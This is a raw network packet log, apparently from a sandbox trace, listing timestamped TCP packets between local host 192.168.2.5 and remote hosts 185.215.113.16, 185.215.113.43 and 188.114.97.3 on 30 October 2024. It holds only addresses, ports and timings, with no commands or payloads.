Oct 30, 2024 00:21:14.495754957 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495764017 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495764971 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495779037 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495784044 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495793104 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495810986 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495815039 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495815039 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495825052 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495837927 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495839119 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495858908 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495862007 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495872021 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495884895 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495894909 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495898962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495912075 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495913982 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495927095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495940924 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495943069 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495954037 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495959997 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495966911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495980024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.495981932 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.495991945 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496004105 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496015072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496025085 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496025085 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496026039 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496038914 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496043921 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496052027 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496078014 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496100903 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496321917 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496334076 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496345043 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496356010 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496366978 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496376991 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496377945 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496395111 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496397018 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496414900 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496454000 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496474981 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496486902 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496498108 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496510029 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496517897 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496520996 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496532917 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496542931 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496545076 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496558905 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496562958 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496570110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496578932 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496582031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496593952 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496604919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496618986 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496633053 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496633053 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496637106 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496653080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496656895 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496664047 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496675968 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496676922 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496689081 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496700048 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496710062 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496711016 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496722937 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496735096 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496737003 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496737003 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496746063 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496758938 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496762037 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496771097 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496783018 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496788025 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496795893 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496804953 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496808052 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496819973 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496824980 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496831894 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496845007 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.496846914 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496890068 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.496890068 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497427940 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497438908 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497448921 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497461081 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497472048 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497483969 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497483969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497497082 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497502089 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497509003 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497522116 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497533083 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497543097 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497554064 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497560024 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497560024 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497575998 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497582912 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497587919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497602940 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497610092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497622013 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497631073 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497632980 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497646093 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497653961 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497657061 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497669935 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497679949 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497679949 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497692108 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497704983 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497711897 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497715950 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497730970 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497733116 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497742891 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497756004 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497767925 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497772932 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497772932 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497780085 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497792959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497797012 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497806072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497812986 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497818947 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497832060 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497838974 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497853994 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497864962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497864962 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497876883 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497883081 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497889042 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.497909069 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.497932911 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498297930 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498310089 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498320103 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498332024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498342991 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498347998 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498366117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498378038 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498378992 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498389959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498400927 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498403072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498414993 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498419046 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498428106 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498439074 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498445988 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498447895 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498456955 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498469114 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498477936 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498478889 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498492956 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498514891 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498516083 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498527050 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498539925 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498545885 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498553038 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498565912 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498565912 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498578072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498584032 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498589039 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498603106 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498614073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498625040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498631001 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498631001 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498637915 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498648882 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498651981 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498661041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498673916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498683929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498691082 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498696089 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498708963 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.498708963 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498729944 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.498747110 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:16.193366051 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.193485975 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:16.193579912 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.195018053 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.195055962 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:16.816281080 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:16.816370010 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.839423895 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.839473963 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:16.839885950 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:16.887707949 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.930124998 CET	59786	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:16.930510998 CET	59789	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:16.935827971 CET	80	59786	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:16.935847044 CET	80	59789	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:16.935921907 CET	59786	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:16.935959101 CET	59789	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:16.944875002 CET	59789	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:16.950154066 CET	80	59789	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:16.980748892 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.980846882 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:16.980959892 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.303985119 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.304074049 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.304137945 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.304574013 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.304625988 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.304655075 CET	59788	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.304672003 CET	443	59788	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.385333061 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.385396004 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.385483027 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.385875940 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.385890961 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.839690924 CET	80	59789	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:17.839793921 CET	59789	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:17.842504025 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:17.842771053 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:17.850581884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:17.851113081 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:17.851155043 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:17.851190090 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:17.851300001 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:17.858663082 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:17.989594936 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.989691019 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.991038084 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.991063118 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.991302013 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:17.992949009 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.992983103 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:17.993031025 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496380091 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496437073 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496460915 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496484995 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496510983 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496536970 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.496541023 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496571064 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496594906 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.496603966 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.496675014 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.496680975 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.543955088 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.543981075 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.590843916 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.611731052 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.611783981 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.611808062 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.611834049 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.611851931 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.611895084 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.611937046 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.612195969 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.612211943 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.612255096 CET	59790	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:18.612261057 CET	443	59790	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:18.762393951 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762409925 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762429953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762444973 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762454033 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762466908 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762479067 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.762520075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762526989 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.762531996 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762567043 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.762588024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762598991 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.762634039 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.767844915 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.767878056 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.767889023 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.767921925 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.767939091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.919751883 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.919773102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.919785976 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.919809103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.919836044 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.919872999 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.919977903 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.919990063 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920001030 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920042038 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.920371056 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920394897 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920406103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920838118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920849085 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920860052 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.920871973 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.921320915 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.921478987 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.921493053 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.921504021 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.921529055 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.921566963 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.921592951 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.921607971 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.921644926 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.922385931 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.922408104 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.922420025 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.922429085 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.923010111 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.923038960 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:18.927638054 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.927649975 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.927659035 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:18.928361893 CET	59791	80	192.168.2.5	185.215.113.16
